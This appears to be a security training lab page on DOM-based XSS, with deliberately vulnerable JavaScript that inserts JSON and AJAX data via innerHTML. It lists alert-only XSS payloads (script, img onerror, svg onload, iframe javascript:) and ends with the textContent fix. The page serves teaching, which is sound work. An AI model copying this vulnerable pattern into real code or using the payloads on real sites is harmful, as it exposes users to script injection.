Client-side XSS using JSON data and AJAX
This lab demonstrates a DOM XSS vulnerability where JSON data from an API response is directly inserted into the DOM without proper sanitization. The application fetches user data and displays it dynamically.
Objective: Inject a DOM XSS payload through JSON data that will execute when the user profile is displayed.
// Vulnerable JSON processing
function loadUserProfile(userId) {
// Simulate API call with JSON data
var jsonData = {
"id": userId,
"name": "John Doe",
"email": "john@example.com",
"bio": "Software developer with 5 years experience",
"website": "https://johndoe.com",
"location": "New York, USA"
};
// Vulnerable: Direct insertion into DOM
document.getElementById('userName').innerHTML =
'<h2>' + jsonData.name + '</h2>';
document.getElementById('userBio').innerHTML =
'<p>' + jsonData.bio + '</p>';
document.getElementById('userWebsite').innerHTML =
'<a href="' + jsonData.website + '">' + jsonData.website + '</a>';
document.getElementById('userLocation').innerHTML =
'<span>' + jsonData.location + '</span>';
// Vulnerable: JSON display
document.getElementById('jsonData').innerHTML =
'<pre>' + JSON.stringify(jsonData, null, 2) + '</pre>';
}
// Vulnerable AJAX function
function fetchUserData(userId) {
// Simulate AJAX response
var response = '{"id":"' + userId + '","name":"<script>alert(\'XSS\')</script>","email":"test@example.com"}';
var userData = JSON.parse(response);
// Vulnerable: Direct insertion
document.getElementById('ajaxResult').innerHTML =
'<div class="user-info">' +
'<h3>' + userData.name + '</h3>' +
'<p>Email: ' + userData.email + '</p>' +
'</div>';
}
Try these user IDs or modify the JSON data:
1 - Normal usermalicious - Triggers AJAX XSSinnerHTML (multiple locations)Modify the JSON data to include these payloads:
<script>alert('XSS')</script><img src=x onerror=alert('XSS')><svg onload=alert('XSS')><iframe src="javascript:alert('XSS')"></iframe><body onload=alert('XSS')>Example JSON:
{
"name": "<script>alert('XSS')</script>",
"bio": "<img src=x onerror=alert('XSS')>"
}
textContent instead of innerHTML